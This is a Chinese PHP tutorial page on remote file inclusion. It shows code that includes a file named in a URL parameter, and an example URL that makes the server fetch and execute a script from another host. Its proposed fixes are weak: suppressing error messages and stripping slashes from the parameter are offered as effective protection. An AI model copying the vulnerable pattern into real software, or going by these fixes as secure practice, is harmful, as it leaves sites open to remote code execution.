PHP 网络开发详解之远程文件包含漏洞


Posted in PHP onApril 25, 2010

以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。

<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
include("$file_name "); //包含文件 
//一些其他操作 
?>

这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。
由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。
<?php 
echo "hello world!"; 
?>

这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。
<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。
<?php 
$file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
PHP 相关文章推荐
PHP $_FILES函数详解
Mar 09 PHP
PHP学习之数组的定义和填充
Apr 17 PHP
使用php统计字符串中中英文字符的个数
Jun 23 PHP
php中的常用魔术方法总结
Aug 02 PHP
php读取本地文件常用函数(fopen与file_get_contents)
Sep 09 PHP
PHP 验证码不显示只有一个小红叉的解决方法
Sep 30 PHP
编译PHP报错configure error Cannot find libmysqlclient under usr的解决方法
Jun 27 PHP
ThinkPHP连接数据库及主从数据库的设置教程
Aug 22 PHP
Zend Framework路由器用法实例详解
Dec 11 PHP
PHP + plupload.js实现多图上传并显示进度条加删除实例代码
Mar 06 PHP
php连接mysql数据库
Mar 21 PHP
PHP封装请求类实例分析【基于Yii框架】
Oct 17 PHP
php快速url重写更新版[需php 5.30以上]
Apr 25 #PHP
PHP CURL模拟GET及POST函数代码
Apr 25 #PHP
php file_get_contents函数轻松采集html数据
Apr 22 #PHP
国外比较好的几个的Php开源建站平台小结
Apr 22 #PHP
PHP最常用的ini函数分析 针对PHP.ini配置文件
Apr 22 #PHP
php allow_url_include的应用和解释
Apr 22 #PHP
php strcmp使用说明
Apr 22 #PHP
You might like
PHP中的traits简单使用实例
2015/05/13 PHP
php实现编辑和保存文件的方法
2015/07/20 PHP
教你在PHPStorm中配置Xdebug
2015/07/27 PHP
再谈PHP中单双引号的区别详解
2016/06/12 PHP
Google排名中的10个最著名的 JavaScript库
2010/04/27 Javascript
通过JavaScript使Div居中并随网页大小改变而改变
2013/06/24 Javascript
JavaScript脚本判断蜘蛛来源的方法
2015/09/22 Javascript
JavaScript的Number对象的toString()方法
2015/12/18 Javascript
JS实现HTML标签转义及反转义
2020/04/14 Javascript
jQuery实现鼠标跟随效果
2017/02/20 Javascript
vue中如何去掉空格的方法实现
2018/11/09 Javascript
微信小程序picker组件关于objectArray数据类型的绑定方法
2019/03/13 Javascript
微信小程序实现获取小程序码和二维码java接口开发
2019/03/29 Javascript
Vue源码探究之虚拟节点的实现
2019/04/17 Javascript
JS函数参数的传递与同名参数实例分析
2020/03/16 Javascript
Vue(定时器)解决mounted不能获取到data中的数据问题
2020/07/30 Javascript
[02:08]2014DOTA2国际邀请赛 430专访:力争取得小组前二
2014/07/11 DOTA
[02:27]2018DOTA2亚洲邀请赛趣味视频之钓鱼大赛 谁是垂钓冠军?
2018/04/05 DOTA
python中的__init__ 、__new__、__call__小结
2014/04/25 Python
python字典的常用操作方法小结
2016/05/16 Python
利用python微信库itchat实现微信自动回复功能
2017/05/18 Python
Python3.5.3下配置opencv3.2.0的操作方法
2018/04/02 Python
python SVM 线性分类模型的实现
2019/07/19 Python
Django RBAC权限管理设计过程详解
2019/08/06 Python
python PIL/cv2/base64相互转换实例
2020/01/09 Python
python GUI库图形界面开发之PyQt5打印控件QPrinter详细使用方法与实例
2020/02/28 Python
关于Python turtle库使用时坐标的确定方法
2020/03/19 Python
python高级特性简介
2020/08/13 Python
python输出国际象棋棋盘的实例分享
2020/11/26 Python
HTML5自定义属性前缀data-及dataset的使用方法(html5 新特性)
2017/08/24 HTML / CSS
Viking比利时:购买办公用品
2019/10/30 全球购物
升国旗仪式主持词
2014/03/19 职场文书
公司活动总结范文
2014/07/01 职场文书
工作汇报开头与结尾怎么写
2014/11/08 职场文书
单位未婚证明范本
2014/11/25 职场文书
2019自荐信范文集锦!
2019/07/03 职场文书